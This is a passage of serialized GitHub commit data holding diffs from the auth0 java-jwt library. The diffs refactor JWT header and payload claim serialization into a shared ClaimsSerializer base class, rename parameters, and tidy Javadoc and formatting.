     private static final long serialVersionUID = -7076928975713577708L;u}(jr  (3746dcd2fde65838d355c953218d730350c53c59jlr  5lib/src/main/java/com/auth0/jwt/impl/BasicHeader.javajnr  modifiedjfr  K	jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -24,8 +24,15 @@ class BasicHeader implements Header, Serializable {
     private final String keyId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
-    
-    BasicHeader(String algorithm, String type, String contentType, String keyId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+
+    BasicHeader(
+            String algorithm,
+            String type,
+            String contentType,
+            String keyId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.algorithm = algorithm;
         this.type = type;
         this.contentType = contentType;u}(jr  (30f6ab186654d45456d1725d07bf5463902cec1djlr  6lib/src/main/java/com/auth0/jwt/impl/ClaimsHolder.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -6,11 +6,11 @@
 /**
  * The ClaimsHolder class is just a wrapper for the Map of Claims used for building a JWT.
  */
-public final class ClaimsHolder {
+public abstract class ClaimsHolder {
     private Map<String, Object> claims;
 
-    public ClaimsHolder(Map<String, Object> claims) {
-        this.claims = claims == null ? new HashMap<String, Object>() : claims;
+    protected ClaimsHolder(Map<String, Object> claims) {
+        this.claims = claims == null ? new HashMap<>() : claims;
     }
 
     Map<String, Object> getClaims() {u}(jr  (b1f8e6d3a21f5a0747db6febd374012486b55837jlr  :lib/src/main/java/com/auth0/jwt/impl/ClaimsSerializer.javajnr  addedjfr  KVjgr  K jpr  KVjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  Xe  @@ -0,0 +1,86 @@
+package com.auth0.jwt.impl;
+
+import com.fasterxml.jackson.core.JsonGenerator;
+import com.fasterxml.jackson.databind.SerializerProvider;
+import com.fasterxml.jackson.databind.ser.std.StdSerializer;
+
+import java.io.IOException;
+import java.time.Instant;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Custom serializer used to write the resulting JWT.
+ *
+ * @param <T> the type this serializer operates on.
+ */
+public class ClaimsSerializer<T extends ClaimsHolder> extends StdSerializer<T> {
+
+    public ClaimsSerializer(Class<T> t) {
+        super(t);
+    }
+
+    @Override
+    public void serialize(T holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<String, Object> entry : holder.getClaims().entrySet()) {
+            writeClaim(entry, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    /**
+     * Writes the given entry to the JSON representation. Custom claim serialization handling can override this method
+     * to provide use-case specific serialization. Implementors who override this method must write
+     * the field name and the field value.
+     *
+     * @param entry The entry that corresponds to the JSON field to write
+     * @param gen The {@code JsonGenerator} to use
+     * @throws IOException if there is either an underlying I/O problem or encoding issue at format layer
+     */
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        gen.writeFieldName(entry.getKey());
+        handleSerialization(entry.getValue(), gen);
+    }
+
+    private static void handleSerialization(Object value, JsonGenerator gen) throws IOException {
+        if (value instanceof Date) {
+            gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
+        } else if (value instanceof Map) {
+            serializeMap((Map<?, ?>) value, gen);
+        } else if (value instanceof List) {
+            serializeList((List<?>) value, gen);
+        } else {
+            gen.writeObject(value);
+        }
+    }
+
+    private static void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<?, ?> entry : map.entrySet()) {
+            gen.writeFieldName((String) entry.getKey());
+            Object value = entry.getValue();
+            handleSerialization(value, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    private static void serializeList(List<?> list, JsonGenerator gen) throws IOException {
+        gen.writeStartArray();
+        for (Object entry : list) {
+            handleSerialization(entry, gen);
+        }
+        gen.writeEndArray();
+    }
+
+    private static long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
+    private static long dateToSeconds(Date date) {
+        return date.getTime() / 1000;
+    }
+}u}(jr  (9b480116d0c82784e9419fb51c8357ce62de9cbbjlr  <lib/src/main/java/com/auth0/jwt/impl/HeaderClaimsHolder.javajnr  addedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X#  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the header claims when serializing a JWT.
+ */
+public final class HeaderClaimsHolder extends ClaimsHolder {
+    public HeaderClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(jr  (8a6cbcf89b841652e5677036f7f59a4f6b837655jlr  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -13,10 +13,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Header parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class HeaderDeserializer extends StdDeserializer<BasicHeader> {
 u}(jr  (5c7cf0fc977f9c153c06c3b01cd3f5fa92aca37ejlr  :lib/src/main/java/com/auth0/jwt/impl/HeaderSerializer.javajnr  addedjfr  K
jgr  K jpr  K
jqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X#  @@ -0,0 +1,10 @@
+package com.auth0.jwt.impl;
+
+/**
+ * Responsible for serializing a JWT's header representation to JSON.
+ */
+public class HeaderSerializer extends ClaimsSerializer<HeaderClaimsHolder> {
+    public HeaderSerializer() {
+        super(HeaderClaimsHolder.class);
+    }
+}u}(jr  (fe1600bd313d3e84c8aec28926cc790df4fa0ec9jlr  3lib/src/main/java/com/auth0/jwt/impl/JWTParser.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -9,9 +9,12 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.SerializationFeature;
 import com.fasterxml.jackson.databind.module.SimpleModule;
-
 import java.io.IOException;
 
+/**
+ * This class helps in decoding the Header and Payload of the JWT using
+ * {@link HeaderSerializer} and {@link PayloadSerializer}.
+ */
 public class JWTParser implements JWTPartsParser {
     private final ObjectReader payloadReader;
     private final ObjectReader headerReader;u}(jr  (e92f36d09886a83ee251b1dc6c0aef53f461bb6fjlr  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javajnr  modifiedjfr  K
jgr  K
jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X`
  @@ -74,34 +74,34 @@ public Instant asInstant() {
 
     @Override
     @SuppressWarnings("unchecked")
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         if (isMissing() || isNull() || !data.isArray()) {
             return null;
         }
 
-        T[] arr = (T[]) Array.newInstance(tClazz, data.size());
+        T[] arr = (T[]) Array.newInstance(clazz, data.size());
         for (int i = 0; i < data.size(); i++) {
             try {
-                arr[i] = objectReader.treeToValue(data.get(i), tClazz);
+                arr[i] = objectReader.treeToValue(data.get(i), clazz);
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return arr;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         if (isMissing() || isNull() || !data.isArray()) {
             return null;
         }
 
         List<T> list = new ArrayList<>();
         for (int i = 0; i < data.size(); i++) {
             try {
-                list.add(objectReader.treeToValue(data.get(i), tClazz));
+                list.add(objectReader.treeToValue(data.get(i), clazz));
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return list;
@@ -124,14 +124,14 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         try {
             if(isMissing() || isNull()) {
                 return null;
             }
-            return objectReader.treeAsTokens(data).readValueAs(tClazz);
+            return objectReader.treeAsTokens(data).readValueAs(clazz);
         } catch (IOException e) {
-            throw new JWTDecodeException("Couldn't map the Claim value to " + tClazz.getSimpleName(), e);
+            throw new JWTDecodeException("Couldn't map the Claim value to " + clazz.getSimpleName(), e);
         }
     }
 u}(jr  (7055a2ce73eb4839bd82a168869937f033daa92ejlr  =lib/src/main/java/com/auth0/jwt/impl/PayloadClaimsHolder.javajnr  addedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X&  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the payload claims when serializing a JWT.
+ */
+public final class PayloadClaimsHolder extends ClaimsHolder {
+    public PayloadClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(jr  (09009267b7bfa876ce97011093b534ecff946b2ajlr  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -16,10 +16,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Payload parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class PayloadDeserializer extends StdDeserializer<Payload> {
 
@@ -80,7 +80,8 @@ Instant getInstantFromSeconds(Map<String, JsonNode> tree, String claimName) {
             return null;
         }
         if (!node.canConvertToLong()) {
-            throw new JWTDecodeException(String.format("The claim '%s' contained a non-numeric date value.", claimName));
+            throw new JWTDecodeException(
+                    String.format("The claim '%s' contained a non-numeric date value.", claimName));
         }
         return Instant.ofEpochSecond(node.asLong());
     }u}(jr  (75e794740101e98f1d9fc9ad211938dbcc7d88b3jlr  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javajnr  modifiedjfr  K
jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X9  @@ -13,10 +13,10 @@
 
 /**
  * Decoder of string JSON Web Tokens into their POJO representations.
- *
- * @see Payload
  * <p>
  * This class is thread-safe.
+ *
+ * @see Payload
  */
 class PayloadImpl implements Payload, Serializable {
 
@@ -32,7 +32,17 @@ class PayloadImpl implements Payload, Serializable {
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Instant expiresAt, Instant notBefore, Instant issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(
+            String issuer,
+            String subject,
+            List<String> audience,
+            Instant expiresAt,
+            Instant notBefore,
+            Instant issuedAt,
+            String jwtId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;u}(jr  (dc138c08a7000dd079c83e95326b6bd5c9ff7aa6jlr  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javajnr  modifiedjfr  Kjgr  KGjpr  K[jqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XC  @@ -1,46 +1,40 @@
 package com.auth0.jwt.impl;
 
 import com.fasterxml.jackson.core.JsonGenerator;
-import com.fasterxml.jackson.databind.SerializerProvider;
-import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.time.Instant;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
- *
- * @see com.auth0.jwt.JWTCreator
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.JWTCreator
  */
-public class PayloadSerializer extends StdSerializer<ClaimsHolder> {
-
+public class PayloadSerializer extends ClaimsSerializer<PayloadClaimsHolder> {
     public PayloadSerializer() {
-        this(null);
-    }
-
-    private PayloadSerializer(Class<ClaimsHolder> t) {
-        super(t);
+        super(PayloadClaimsHolder.class);
     }
 
     @Override
-    public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
-
-        gen.writeStartObject();
-        for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
-                writeAudience(gen, e);
-            } else {
-                gen.writeFieldName(e.getKey());
-                handleSerialization(e.getValue(), gen);
-            }
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        if (PublicClaims.AUDIENCE.equals(entry.getKey())) {
+            writeAudience(gen, entry);
+        } else {
+            super.writeClaim(entry, gen);
         }
-
-        gen.writeEndObject();
     }
 
+    /**
+     * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
+     * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
+     */
+
+    //
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());
@@ -53,7 +47,7 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
                 List<?> audList = (List<?>) e.getValue();
                 for (Object aud : audList) {
                     if (aud instanceof String) {
-                        audArray.add((String)aud);
+                        audArray.add((String) aud);
                     }
                 }
             }
@@ -70,49 +64,4 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
             }
         }
     }
-
-    /**
-     * Serializes {@linkplain Instant} to epoch second values, traversing maps and lists as needed.
-     * @param value the object to serialize
-     * @param gen the JsonGenerator to use for JSON serialization
-     */
-    private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
-        if (value instanceof Date) {
-            gen.writeNumber(dateToSeconds((Date) value));
-        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
-            gen.writeNumber(instantToSeconds((Instant) value));
-        } else if (value instanceof Map) {
-            serializeMap((Map<?, ?>) value, gen);
-        } else if (value instanceof List) {
-            serializeList((List<?>) value, gen);
-        } else {
-            gen.writeObject(value);
-        }
-    }
-
-    private void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
-        gen.writeStartObject();
-        for (Map.Entry<?, ?> entry : map.entrySet()) {
-            gen.writeFieldName((String) entry.getKey());
-            Object value = entry.getValue();
-            handleSerialization(value, gen);
-        }
-        gen.writeEndObject();
-    }
-
-    private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
-        gen.writeStartArray();
-        for (Object entry : list) {
-            handleSerialization(entry, gen);
-        }
-        gen.writeEndArray();
-    }
-
-    private long instantToSeconds(Instant instant) {
-        return instant.getEpochSecond();
-    }
-
-    private long dateToSeconds(Date date) {
-        return date.getTime() / 1000;
-    }
 }u}(jr  (ea166b0d337191043019e43d588b53e66328dd9cjlr  6lib/src/main/java/com/auth0/jwt/impl/PublicClaims.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  @@ -1,6 +1,8 @@
 package com.auth0.jwt.impl;
 
-
+/**
+ * Contains the claim name for all Public claims.
+ */
 public interface PublicClaims {
 
     //Headeru}(jr  (f6ccfdcdbfb9eaf2d785a4ed3e3fa1c4003a141cjlr  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javajnr  modifiedjfr  Kjgr  Kjpr  K
jqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X]  @@ -90,23 +90,24 @@ default Instant asInstant() {
     /**
      * Get this Claim as an Array of type T.
      * If the value isn't an Array, null will be returned.
+     *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as an Array or null.
      * @throws JWTDecodeException if the values inside the Array can't be converted to a class T.
      */
-    <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException;
+    <T> T[] asArray(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a List of type T.
      * If the value isn't an Array, null will be returned.
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as a List or null.
      * @throws JWTDecodeException if the values inside the List can't be converted to a class T.
      */
-    <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException;
+    <T> List<T> asList(Class<T> clazz) throws JWTDecodeException;
 
     /**
      * Get this Claim as a generic Map of values.
@@ -121,9 +122,9 @@ default Instant asInstant() {
      * This method will return null if {@link Claim#isMissing()} or {@link Claim#isNull()} is true
      *
      * @param <T> type
-     * @param tClazz the type class
+     * @param clazz the type class
      * @return the value as instance of T.
      * @throws JWTDecodeException if the value can't be converted to a class T.
      */
-    <T> T as(Class<T> tClazz) throws JWTDecodeException;
+    <T> T as(Class<T> clazz) throws JWTDecodeException;
 }u}(jr  (e1c6efccb4d86a33d5514ef4ca24321333e101cejlr  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X{  @@ -3,7 +3,8 @@
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
 /**
- * The JWTPartsParser class defines which parts of the JWT should be converted to it's specific Object representation instance.
+ * The JWTPartsParser class defines which parts of the JWT should be converted
+ * to it's specific Object representation instance.
  */
 public interface JWTPartsParser {
 u}(jr  (3555878e0c55c7ada151e3eaf5db85d6b8988cb4jlr  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -3,10 +3,13 @@
 import com.auth0.jwt.exceptions.JWTVerificationException;
 
 
+/**
+ * Used to verify the JWT for it's signature and claims.
+ */
 public interface JWTVerifier {
 
     /**
-     * Performs the verification against the given Token
+     * Performs the verification against the given Token.
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
@@ -15,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT
+     * Performs the verification against the given decoded JWT.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u}(jr  (fd8baea572026be86905bce48884192709f82490jlr  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -14,7 +14,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
